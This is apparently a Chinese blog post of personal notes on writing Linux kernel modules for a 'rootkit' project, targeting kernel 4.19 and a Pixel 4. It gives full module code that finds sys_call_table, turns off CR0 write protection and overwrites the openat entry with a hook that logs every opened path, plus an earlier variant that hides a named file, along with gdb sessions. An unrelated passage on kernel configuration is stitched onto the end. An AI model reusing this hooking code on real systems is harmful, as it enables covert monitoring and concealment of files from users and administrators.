linux 驱动笔记

total 0
drwxr-xr-x    2 0        0                0 Dec 17 07:43 .
drwxr-xr-x    5 0        0                0 Dec 17 07:43 ..
-r--r--r--    1 0        0             4096 Dec 17 07:43 .bss
-r--r--r--    1 0        0             4096 Dec 17 07:43 .gnu.linkonce.this_module
-r--r--r--    1 0        0             4096 Dec 17 07:43 .note.gnu.build-id
-r--r--r--    1 0        0             4096 Dec 17 07:43 .rodata.str1.1
-r--r--r--    1 0        0             4096 Dec 17 07:43 .rodata.str1.8
-r--r--r--    1 0        0             4096 Dec 17 07:43 .strtab
-r--r--r--    1 0        0             4096 Dec 17 07:43 .symtab
-r--r--r--    1 0        0             4096 Dec 17 07:43 .text
-r--r--r--    1 0        0             4096 Dec 17 07:43 __mcount_loc
/ # cat /sys/module/myModule/sections/.text 
0xffffffffc0000000


查看text段

makefile 文件

KERNEL_DIR=/root/kernel/linux-4.1.1
DRVNAME=myModule
PWD=$(shell pwd)
obj-m+=$(DRVNAME).o
#$(DRVNAME)-objs := $(DRVNAME).o
EXTRA_CFLAGS = -g
define complie_file
	@echo "[*]complie file $(basename $(1)) "
	gcc $(1) -o $(basename $(1)) -static -no-pie -g
	cp $(basename $(1)) /root/kernel/busybox-1.25.0/_install/
	chmod 755 /root/kernel/busybox-1.25.0/_install/$(basename $(1))
endef
build:
	$(warning  $(KERNEL_DIR))
	$(warning  $(PWD))
	$(warning  $(DRVNAME)-objs)
	$(warning make -C $(KERNEL_DIR) M=$(PWD) modules)
	make -C $(KERNEL_DIR) M=$(PWD) modules
	rm *.o *.order *.symvers *.mod.c
	cp $(DRVNAME).ko /root/kernel/busybox-1.25.0/_install/
	#gcc hook.c -o hook -static -no-pie -g
	#cp hook /root/kernel/busybox-1.25.0/_install/
	#gcc test_kmem.c -o test_kmem -static -no-pie -g
	#cp hook /root/kernel/busybox-1.25.0/_install/
	$(call complie_file,hook.c)
	$(call complie_file,test_kmem.c)
	chmod 755 /root/kernel/busybox-1.25.0/_install/$(DRVNAME).ko
TEST:
	$(call complie_file,test.c)

驱动代码

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <linux/slab.h>
#include <asm/uaccess.h>
#include <linux/kallsyms.h> 

MODULE_LICENSE("GPL");
asmlinkage int (*real_openat)(int, const char __user*, int);
 
void **my_sys_table;
 
// 替换Android系统调用的新的new_openat函数
int new_openat(int dirfd, const char __user* pathname, int flags)
{
  char *kbuf;
  size_t len;
 
  // 在内核中申请内存空间
  kbuf=(char*)kmalloc(256, GFP_KERNEL);
  // 获取需要打开的文件的文件路径
  len = strncpy_from_user(kbuf, pathname,255);
 
  // 过滤,隐藏掉/data/local/tmp/nowyouseeme文件
  if (strcmp(kbuf, "/data/local/tmp/nowyouseeme") == 0) 
  {
    printk("Hiding file!\n");
    
    return -ENOENT;
  }
 
  // 释放申请的内存空间
  kfree(kbuf);
 
  // 调用Android系统原来的系统调用openat函数
  return real_openat(dirfd, pathname, flags);
}
 
 
// ########### 将被加载的Android内核模块 ###############
static int init_hook_module(void) {
 
  // 前面查找的内存地址
  printk("./hook ffffffff81800680 322 ffffffffc0000000\n");
  my_sys_table = (void*) kallsyms_lookup_name("sys_call_table");
  //sys_call_table = (void*)(0xffffffff81000000+0x800680);
  
  // 获取Android系统的openat函数的调用地址
  real_openat = (void*)(my_sys_table[__NR_openat]);
 
  return 0;
}
static void exit_module(void) {
	printk("Fuck leaving\n");
}
module_init(init_hook_module);
module_exit(exit_module);

gdb 调试

target remote :1234

然后下断点在init_hook_module

用cat /proc/kallsyms | grep myModule 去找

然后在找到text段

add-symbol-file myModule.ko 0xffffffffc0000000 (前提得加-g EXTRA_CFLAGS = -g)

pwndbg> add-symbol-file myModule.ko 0xffffffffc0000000
add symbol table from file "myModule.ko" at
	.text_addr = 0xffffffffc0000000
Reading symbols from myModule.ko...done.
pwndbg> n
ERROR: Could not find ELF base!
45	  printk("./hook ffffffff81800680 322 ffffffffc0000000\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────
 RAX  0xffff88000eae8001 ◂— add    byte ptr [rax], al /* 0x6000000000000000 */
 RBX  0xffffffff81c13060 ◂— 0xffffffff81c13060
 RCX  0x560
 RDX  0x55f
 RDI  0xffff88000e801c00 ◂— and    byte ptr [rcx + rax], ah /* 0x1a420 */
 RSI  0xffff88000f81a420 —▸ 0xffff88000eae8040 —▸ 0xffff88000eae8080 ◂— 0
 R8   0x1a420
 R9   0xffffea00003aba00 ◂— add    byte ptr [rax], 0 /* 0x1fffff80000080 */
 R10  0xffffffff81002120 ◂— cmp    byte ptr [rip + 0xf4aed9], 0 /* 0x750000f4aed93d80 */
 R11  0xffffffffc000240d ◂— js     0xffffffffc0002479 /* 0x646f6d5f74697865; 'exit_module' */
 R12  0xffff88000eae8040 —▸ 0xffff88000eae8080 ◂— 0
 R13  0x0
 R14  0xffffffffc0000090 ◂— nop    dword ptr [rax + rax] /* 0xc748550000441f0f */
 R15  0xffffffffc00001a0 ◂— 1
 RBP  0xffff88000d68fd38 —▸ 0xffff88000d68fd68 —▸ 0xffff88000d68fe98 —▸ 0xffff88000d68ff48 —▸ 0x7ffcca5c45f0 ◂— ...
 RSP  0xffff88000d68fcc8 —▸ 0xffff88000d68fd38 —▸ 0xffff88000d68fd68 —▸ 0xffff88000d68fe98 —▸ 0xffff88000d68ff48 ◂— ...
 RIP  0xffffffffc0000096 ◂— mov    rdi, -0x3ffffea8 /* 0x31c0000158c7c748 */
────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
   0xffffffffc0000090    nop    dword ptr [rax + rax]
   0xffffffffc0000095    push   rbp
 ► 0xffffffffc0000096    mov    rdi, -0x3ffffea8
   0xffffffffc000009d    xor    eax, eax
   0xffffffffc000009f    mov    rbp, rsp
   0xffffffffc00000a2    call   0xffffffff817ed1eb
 
   0xffffffffc00000a7    mov    rdi, -0x3ffffec6
   0xffffffffc00000ae    call   0xffffffff81102c30
 
   0xffffffffc00000b3    mov    qword ptr [rip + 0x35e], rax
   0xffffffffc00000ba    mov    rax, qword ptr [rax + 0x808]
   0xffffffffc00000c1    pop    rbp
─────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────
In file: /root/kernel/module/myModule.c
   40  
   41 // ########### 将被加载的Android内核模块 ###############
   42 static int init_hook_module(void) {
   43  
   44   // 前面查找的内存地址
 ► 45   printk("./hook ffffffff81800680 322 ffffffffc0000000\n");
   46   my_sys_table = (void*) kallsyms_lookup_name("sys_call_table");
   47   //sys_call_table = (void*)(0xffffffff81000000+0x800680);
   48   
   49   // 获取Android系统的openat函数的调用地址
   50   real_openat = (void*)(my_sys_table[__NR_openat]);
─────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────
00:0000│ rsp  0xffff88000d68fcc8 —▸ 0xffff88000d68fd38 —▸ 0xffff88000d68fd68 —▸ 0xffff88000d68fe98 —▸ 0xffff88000d68ff48 ◂— ...
01:0008│      0xffff88000d68fcd0 —▸ 0xffffffff8100212c ◂— mov    ebx, eax /* 0x9723058b65c389 */
02:0010│      0xffff88000d68fcd8 —▸ 0xffff88000d686280 —▸ 0xffff88000d686340 —▸ 0xffff88000d686380 —▸ 0xffff88000d6863c0 ◂— ...
03:0018│      0xffff88000d68fce0 ◂— 0x1d
04:0020│      0xffff88000d68fce8 —▸ 0xffff88000d686280 —▸ 0xffff88000d686340 —▸ 0xffff88000d686380 —▸ 0xffff88000d6863c0 ◂— ...
05:0028│      0xffff88000d68fcf0 —▸ 0xffffffff811dc8c9 ◂— mov    r9, qword ptr [rbp - 0x40] /* 0xfffe93e9c04d8b4c */
06:0030│      0xffff88000d68fcf8 —▸ 0xffffffff817ed5cc ◂— test   rax, rax /* 0x13d840fc08548 */
07:0038│      0xffff88000d68fd00 ◂— 0x18
───────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────
 ► f 0 ffffffffc0000096
   f 1 ffffffff8100212c
   f 2 ffff88000d686280
   f 3               1d
   f 4 ffff88000d686280
   f 5 ffffffff811dc8c9
   f 6 ffffffff817ed5cc
   f 7               18
   f 8 ffff88000d686280
   f 9 ffffffffc00001a0
   f 10 ffffffffc00001a0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

坑点:

驱动建的/dev/下面的不显示

需要自己去手工执行下

mknod /dev/chardev c 248 0

/root/kernel/module/HookModule.c:65:20: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types]
  .unlocked_ioctl = xxx_ioctl,

报这个错是因为ioctl定义的类型不对(网上搜了半天没找到,还是自己动手吧)

必须去读你编译对应版本的源码在fs.h文件里面(类型改来改去的不嫌麻烦吗?对话写linux的)

也就是这个结构的类型

所以改成这种

他么的还得注意返回的变量也得一样,又浪费我一个小时。

然后说下后面如果mknod 找不到设备就是主从设备号不对

ret = alloc_chrdev_region(&xxx_devno, DEV_MINOR, 1, DRIVERNAME);

DEV_MINOR为从设备号,主设备号是动态申请的用cat /proc/devices去看

所以就找到我们的fucker了241

我们定义的DEV_MINOR为5

所以看下面的命令

	ret = alloc_chrdev_region(&xxx_devno, DEV_MINOR, 1, DRIVERNAME);
	if (ret < 0)
	{
		printk("xxx register char dev failed\n");
		goto out;
	}
    printk("mknod /dev/%s %d %d\n",DRIVERNAME,MAJOR(xxx_devno),DEV_MINOR);

MAJOR能获取到主设备号

MAJOR(0xf100000)==0xf1==241

除此之外了解下这个函数

'0xf100000'
>>> 0xf1
241

MKDEV(241, 0)==0xf100000
	/*创建设备节点/sys/class/xxx和/dev/xxx*/
	xxx_class = class_create(THIS_MODULE, DRIVERNAME);
	if (IS_ERR(xxx_class)) 
	{
		ret = PTR_ERR(xxx_class);
		goto class_err;
	}
	device_create(xxx_class, NULL, MKDEV(MAJOR(xxx_devno), DEV_MINOR), NULL, DRIVERNAME); 

又他么的一个坑点,劳资都好像把驱动的坑踩完了,真幸运!

device_create 在/dev/ 没有那个块设备就是init脚本出事了

这个脑残东西记得加,又浪费我一个半小时,还是得靠自己摸索

//最终模板///

linux 4.19.110的 对应的是pixel 4

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/device.h> 
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/ioctl.h>
 
#define DRIVERNAME "hook_svc"
#define DEV_MINOR 0//chong she bei hao
static dev_t hook_module_devno = 0;
static struct class * hook_module_class;
 

struct cdev cdev;	
 
 
/*-----------------------------------------------------------------------------------*/
 
static int hook_module_open(struct inode *inode, struct file *filp)
{	
    printk("Fuck you bitch\n");
	return 0;
}
 
static ssize_t hook_module_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
	return 0;
}
 
static ssize_t hook_module_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
	return 0;
}
 
static int hook_module_release(struct inode *inode, struct file *filp)
{
	return 0;
}
 
static long hook_module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
	int ret = 0;	
 
	switch (cmd) 
	{
		case 0:
			break;
		default:
			printk("Error hook_module cmd\n");
			break;
	}
	
	return 0;
}
 
/*-----------------------------------------------------------------------------------*/
 
static struct file_operations hook_module_fops = {
    .owner = THIS_MODULE,
    .read = hook_module_read,
    .write = hook_module_write,
    .unlocked_ioctl = hook_module_ioctl,
    .open = hook_module_open,
    .release= hook_module_release,
};
 
static int hook_module_init(void)
{
	int ret = 0;
 
	/*动态申请设备号*/
	ret = alloc_chrdev_region(&hook_module_devno, DEV_MINOR, 1, DRIVERNAME);
	if (ret < 0)
	{
		printk("hook_module register char dev failed\n");
		goto out;
	}
    printk("mknod /dev/%s %d %d\n",DRIVERNAME,MAJOR(hook_module_devno),DEV_MINOR);
	/*初始化cdev结构,注册cdev 字符设备的注册*/
	cdev_init(&cdev, &hook_module_fops);
	cdev.owner = THIS_MODULE;
	ret = cdev_add(&cdev, hook_module_devno, 1);
	if (ret) 
	{
		printk("Error adding hook_module device\n");
		goto add_err;
	}
	
	/*创建设备节点/sys/class/hook_module和/dev/hook_module*/
	hook_module_class = class_create(THIS_MODULE, DRIVERNAME);
	if (IS_ERR(hook_module_class)) 
	{
		ret = PTR_ERR(hook_module_class);
		goto class_err;
	}
	device_create(hook_module_class, NULL, MKDEV(MAJOR(hook_module_devno), DEV_MINOR), NULL, DRIVERNAME); 
	
	printk("hook_module init\n");
	return 0;
 
class_err:
	cdev_del(&cdev);
add_err:	
	unregister_chrdev_region(hook_module_devno, 1);	
out:
	return ret;
}
 
static void hook_module_exit(void)
{
	device_destroy(hook_module_class, hook_module_devno);
	class_destroy(hook_module_class);
	cdev_del(&cdev);
	unregister_chrdev_region(hook_module_devno, 1);
	printk("module hook_module exit\n");
}
 
module_init(hook_module_init);
module_exit(hook_module_exit);
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("JackLove");
MODULE_DESCRIPTION("Hook");

继续进行笔记更新,linux rootkit 坑之旅途

源码是这样,结果编出来是这样

把我的call rax变成了 call    __x86_indirect_thunk_rax

这不是脑瘫嘛,俗话说不会就找百度找google,但是找了半天还是没有

最后不知怎么的ls -al了下发现了编译选项,然后进去就发现了这个

看着像这沙比加的把它去掉

下面就遇到麻烦了

经过几小时的实验,可以把内核目录的makefile改了

注释掉

还有一种是根据

这几个一步一步生成先gcc 生成.o 文件

ld 生成 ko文件

gcc -Wp,-MD,/root/kernel/module/.HookModule.o.d  -nostdinc -isystem /usr/lib/gcc/x86_64-linux-gnu/5/include -I./arch/x86/include -I./arch/x86/include/generated  -I./include -I./arch/x86/include/uapi -I./arch/x86/include/generated/uapi -I./include/uapi -I./include/generated/uapi -include ./include/linux/kconfig.h -include ./include/linux/compiler_types.h -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -fshort-wchar -Werror-implicit-function-declaration -Wno-format-security -std=gnu89 -fno-PIE -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -mno-avx -m64 -falign-jumps=1 -falign-loops=1 -mno-80387 -mno-fp-ret-in-387 -mpreferred-stack-boundary=3 -mskip-rax-setup -mtune=generic -mno-red-zone -mcmodel=kernel -funit-at-a-time -DCONFIG_X86_X32_ABI -DCONFIG_AS_CFI=1 -DCONFIG_AS_CFI_SIGNAL_FRAME=1 -DCONFIG_AS_CFI_SECTIONS=1 -DCONFIG_AS_FXSAVEQ=1 -DCONFIG_AS_SSSE3=1 -DCONFIG_AS_CRC32=1 -DCONFIG_AS_AVX=1 -DCONFIG_AS_AVX2=1 -DCONFIG_AS_AVX512=1 -DCONFIG_AS_SHA1_NI=1 -DCONFIG_AS_SHA256_NI=1 -pipe -Wno-sign-compare -fno-asynchronous-unwind-tables -fno-jump-tables -fno-delete-null-pointer-checks -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fstack-protector-strong -Wno-unused-but-set-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -g -gdwarf-4 -pg -mrecord-mcount -mfentry -DCC_USING_FENTRY -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fno-merge-all-constants -fmerge-constants -fno-stack-check -fconserve-stack -Werror=implicit-int -Werror=strict-prototypes -Werror=date-time -Werror=incompatible-pointer-types -Werror=designated-init -g -O0 -I /root/kernel/linux-4.19.110/include  -DMODULE  -DKBUILD_BASENAME='"HookModule"' -DKBUILD_MODNAME='"HookModule"' -c -o /root/kernel/module/HookModule.o /root/kernel/module/HookModule.c



ld -r -m elf_x86_64  -z max-page-size=0x200000 -T ./scripts/module-common.lds  --build-id  -o /root/kernel/module/HookModule.ko /root/kernel/module/HookModule.o /root/kernel/module/HookModule.mod.o 
   0xffffffff812a23e5 <__x64_sys_openat+5>     push   rbp
 RAX  0xffffffff812a23e0 (__x64_sys_openat) ◂— nop    dword ptr [rax + rax] /* 0x578b550000441f0f */
 RBX  0x0
 RCX  0x0
 RDX  0x0
 RDI  0xffffc90000073f58 ◂— 0x0
 RSI  0xffffc90000073f58 ◂— 0x0
 R8   0x0
 R9   0x0
 R10  0x0
 R11  0x0
 R12  0xffffc90000073f58 ◂— 0x0
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0xffffc90000073f28 —▸ 0xffffc90000073f48 ◂— 0x0
 RSP  0xffffc90000073f08 —▸ 0xffffffffc000216b (new_openat+54) ◂— leave   /* 0x550000441f0fc3c9 */
 RIP  0xffffffff812a23e0 (__x64_sys_openat) ◂— nop    dword ptr [rax + rax] /* 0x578b550000441f0f */
─────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────
 ► 0xffffffff812a23e0 <__x64_sys_openat>       nop    dword ptr [rax + rax]
   0xffffffff812a23e5 <__x64_sys_openat+5>     push   rbp
   0xffffffff812a23e6 <__x64_sys_openat+6>     mov    edx, dword ptr [rdi + 0x60]
   0xffffffff812a23e9 <__x64_sys_openat+9>     movzx  ecx, word ptr [rdi + 0x38]
   0xffffffff812a23ed <__x64_sys_openat+13>    mov    rsi, qword ptr [rdi + 0x68]
   0xffffffff812a23f1 <__x64_sys_openat+17>    mov    rdi, qword ptr [rdi + 0x70]
   0xffffffff812a23f5 <__x64_sys_openat+21>    mov    rbp, rsp
   0xffffffff812a23f8 <__x64_sys_openat+24>    or     dh, 0x80
   0xffffffff812a23fb <__x64_sys_openat+27>    call   do_sys_open <0xffffffff812a2170>
 
   0xffffffff812a2400 <__x64_sys_openat+32>    pop    rbp
   0xffffffff812a2401 <__x64_sys_openat+33>    ret 

可以看到参数其实都在rdi 里面 直接hook table

其实只定义一个变量就行了

放一个成功hook openat的代码

/*
#include <linux/kernel.h>    printk() 
#include <linux/slab.h>      kmalloc() 
#include <linux/fs.h>        everything... 
#include <linux/errno.h>     error codes 
#include <linux/types.h>     size_t 
#include <linux/fcntl.h>     O_ACCMODE 
#include <linux/cdev.h>
#include <asm/uaccess.h>     copy_*_user 
*/
#include "../linux-4.19.110/include/linux/kernel.h"
#include "../linux-4.19.110/include/linux/module.h"
#include "../linux-4.19.110/include/linux/init.h"
#include "../linux-4.19.110/include/linux/device.h"
#include "../linux-4.19.110/include/linux/cdev.h"
#include "../linux-4.19.110/include/linux/fs.h"
#include "../linux-4.19.110/include/asm-generic/ioctl.h"
#include "../linux-4.19.110/include/linux/kallsyms.h"
#include "../linux-4.19.110/include/linux/uaccess.h"
#include "../linux-4.19.110/include/linux/slab.h"
//#include "../linux-4.19.110/include/asm-generic/unistd.h"
#include "HookModule.h"



static dev_t hook_module_devno = 0;
static struct class * hook_module_class;
 
struct my_def_dev *ptr_my_def_dev; /*设备结构体指针*/

struct cdev cdev;	
void **my_sys_call_table;
 /*-------------------------------------real funtion---------------------------------------------*/
//asmlinkage int (*real_openat)(int, const char __user *, int);
struct openat_arg
{
    int dirfd;
    const char __user *pathname;
    int flags;
};

asmlinkage long (*real_openat)(int64_t *arg);//, const char __user *filename, int flags,umode_t mode)
 /*-------------------------------------hook flag---------------------------------------------*/
bool SYS_HOOK_openat_flag = false;
 /*-------------------------------------new funtion---------------------------------------------*/
 // 替换Android系统调用的新的new_openat函数
//asmlinkage int new_openat(int dirfd, const char __user *pathname, int flags)
asmlinkage long new_openat(int64_t *arg)
{

    char *kbuf;
    size_t len;
    int dirfd;
    const char __user **pathname=(const char __user **)(arg+0x68/sizeof(int64_t));
    kbuf = (char *)kmalloc(256, GFP_KERNEL);
    len = strncpy_from_user(kbuf, *pathname, 255);
    printk("[*]%s (pid=%d, comm=%s)\n", __func__, current->pid, current->comm);
    printk("[*]call openat:%s\n",kbuf);
    /*
    // 获取需要打开的文件的文件路径
    len = strncpy_from_user(kbuf, pathname, 255);

    // 过滤,隐藏掉/data/local/tmp/nowyouseeme文件
    if (strcmp(kbuf, "/data/local/tmp/nowyouseeme") == 0)
    {
        printk("Hiding file!\n");

        return -ENOENT;
    }
    */
    /*
    asm(
        "movq $0xffffffff812a23e0,%rax\n"
        "call %rax\n"
    );
    */
    //printk("[*]call openat:%s\n",pathname);
    // 释放申请的内存空间
    //printk("[*]%s (pid=%d, comm=%s)\n", __func__, current->pid, current->comm);
    //printk("[*] call openat");

    // 调用Android系统原来的系统调用openat函数
    return (*real_openat)(arg);   
}


/*-----------------------------------do hook------------------------------------------------*/
static void hook_openat(void)
{
    real_openat = (void *)(my_sys_call_table[__NR_openat]);
 	// turn write protect off
	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));   
    my_sys_call_table[__NR_openat] = new_openat;
 	// turn write protect back on
	write_cr0(read_cr0() | WRITE_PROTECT_FLAG);   
    SYS_HOOK_openat_flag=true;
}
/*-----------------------------------------------------------------------------------*/
 
static long hook_module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{

    int err = 0;
    int ret = 0;
    int ioarg = 0;

    /* 根据命令,执行相应的操作 */
    switch (cmd)
    {
    case SYS_HOOK_openat:
        if (SYS_HOOK_openat_flag == 0)
        {
            hook_openat();
        }
        else
        {
            printk("[*]openat had hook\n");
        }
        break;
    default:
        return -EINVAL;
    }
    return ret;
}

static int hook_module_open(struct inode *inode, struct file *filp)
{	
    struct my_def_dev *dev;

    /*获取次设备号*/
    int num = MINOR(inode->i_rdev);
    if (num >= NUM_DEV)
        return -ENODEV;
    dev = &ptr_my_def_dev[num];
    /*将设备描述结构指针赋值给文件私有数据指针*/
    filp->private_data = dev;
    printk("open success\n");
    return 0;
}
 
static ssize_t hook_module_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
	return 0;
}
 
static ssize_t hook_module_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
	return 0;
}
 
static int hook_module_release(struct inode *inode, struct file *filp)
{
	return 0;
}
  
/*-----------------------------------------------------------------------------------*/
 
static struct file_operations hook_module_fops = {
    .owner = THIS_MODULE,
    .read = hook_module_read,
    .write = hook_module_write,
    .unlocked_ioctl = hook_module_ioctl,
    .open = hook_module_open,
    .release= hook_module_release,
};
 
static int hook_module_init(void)
{
	int ret = 0;
    int i=0;
	/*动态申请设备号*/
	ret = alloc_chrdev_region(&hook_module_devno, DEV_MINOR, 1, DRIVERNAME);
	if (ret < 0)
	{
		printk("hook_module register char dev failed\n");
		goto out;
	}
    printk("mknod /dev/%s %d %d\n",DRIVERNAME,MAJOR(hook_module_devno),DEV_MINOR);
	/*初始化cdev结构,注册cdev 字符设备的注册*/
	cdev_init(&cdev, &hook_module_fops);
	cdev.owner = THIS_MODULE;
	ret = cdev_add(&cdev, hook_module_devno, NUM_DEV);
	if (ret) 
	{
		printk("Error adding hook_module device\n");
		goto add_err;
	}
	
	/*创建设备节点/sys/class/hook_module和/dev/hook_module*/
	hook_module_class = class_create(THIS_MODULE, DRIVERNAME);
	if (IS_ERR(hook_module_class)) 
	{
		ret = PTR_ERR(hook_module_class);
		goto class_err;
	}
	device_create(hook_module_class, NULL, MKDEV(MAJOR(hook_module_devno), DEV_MINOR), NULL, DRIVERNAME); 

    /* 为设备描述结构分配内存*/
    ptr_my_def_dev = kmalloc(NUM_DEV * sizeof(struct my_def_dev), GFP_KERNEL);
    if (!ptr_my_def_dev) /*申请失败*/
    {
        ret = -ENOMEM;
        goto class_err;
    }
    memset(ptr_my_def_dev, 0, NUM_DEV * sizeof(struct my_def_dev));
    /*为设备分配内存*/
    for (i = 0; i < NUM_DEV; i++)
    {
        ptr_my_def_dev[i].size = DATA_SIZE;
        ptr_my_def_dev[i].data = kmalloc(DATA_SIZE, GFP_KERNEL);
        memset(ptr_my_def_dev[i].data, 0, DATA_SIZE);
    }
	my_sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");
	printk("hook_module init\n");
	return 0;
 
class_err:
	cdev_del(&cdev);
add_err:	
	unregister_chrdev_region(hook_module_devno, 1);	
out:
	return ret;
}
 
static void hook_module_exit(void)
{
	device_destroy(hook_module_class, hook_module_devno);
	class_destroy(hook_module_class);
	cdev_del(&cdev);
	unregister_chrdev_region(hook_module_devno, 1);
	printk("module hook_module exit\n");
}
 
module_init(hook_module_init);
module_exit(hook_module_exit);
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("JackLove");
MODULE_DESCRIPTION("Hook");

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
模块一般用来支持那些不经常使用的功能。例如,通常情况下你仅使用拨号网络,因此网络功能并不是任何时候都需要的,那么就应该使用可装入的模块来提供这个功能。仅在你进行拨号联接的时候,该模块才被装入。而在你断掉连接的时候它会被自动卸下。这样会使内核使用内存的量最小,减小系统的负荷。 当然,那些象硬盘访问这样时时刻刻都需要的功能,则必须作在内核里。如果你搭一台网络工作站或 web服务器,那么网络功能是时刻都需要的,你就应该考虑把网络功能编译到内核里。另外一个方法是在启动的时候就装入网络模块。这种方法的优点是你不需要重新编译内核。而缺点是网络功能不能特别高效。 按照以上的原则,我们首先列出一张清单,看看 kernel 中哪些选项是非有不可的,也就是说,这些东西是必须被编译到内核中的。将那些非必需的模块剔除到内核以外。 第一个是root所在的硬盘配置。 哪果您的硬盘是IDE接口,就把 ide 的选项标记下来。如果是SCSI接口,请把您的接口参数及 SCSI id 记标下来。 第二个是选择使用哪一个文件系统。 Linux的默认文件系统是是 ext2 ,那么就一定要把它标记下来。如果机器中还其它的操作系统,如win98或windows NT,您还会可能选择FAT32或NTFS的支持,不过后面你可以通过手工加载的方式来加入新的模块支持。 第三个是选择Linux所支持的可执行文件格式。这里有两种格式可供选择: elf:这是当前Linux普遍支持的可执行文件格式,必须编译到内核中 。 a.out: 这是旧版的Linux的可执行文件各函数库的格式,如果你确认肯定用不到这种格式的可执行文件,那么就可以不把它编译到内核当中。 以上这些内容,是必须要编译到内核中的。其它的内容凡是所有选项中m提示的,都选择m,这样可以通过手工的方式添加该模块。 ** Loadable module support*Enable loadable module support (CONFIG_MODULES) [Y/n/?]Set version information on all symbols for modules (CONFIG_MODVERSIONS) [N/y/?]Kernel daemon support (e.g. autoload of modules) (CONFIG_KERNELD) [Y/n/?] 分别回答 Y,N,Y 。其中 CONFIG_KERNELD 的 default 值是 N, 所以要注意选择Y。 make config 完后,仍旧是 make dep; make clean。 接下来要 make zlilo 或 make zImage。 然后 make modules ; make modules_install 。完成之后,就编译出一个没有调入多余模块的一个“干净的”内核映像文件了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值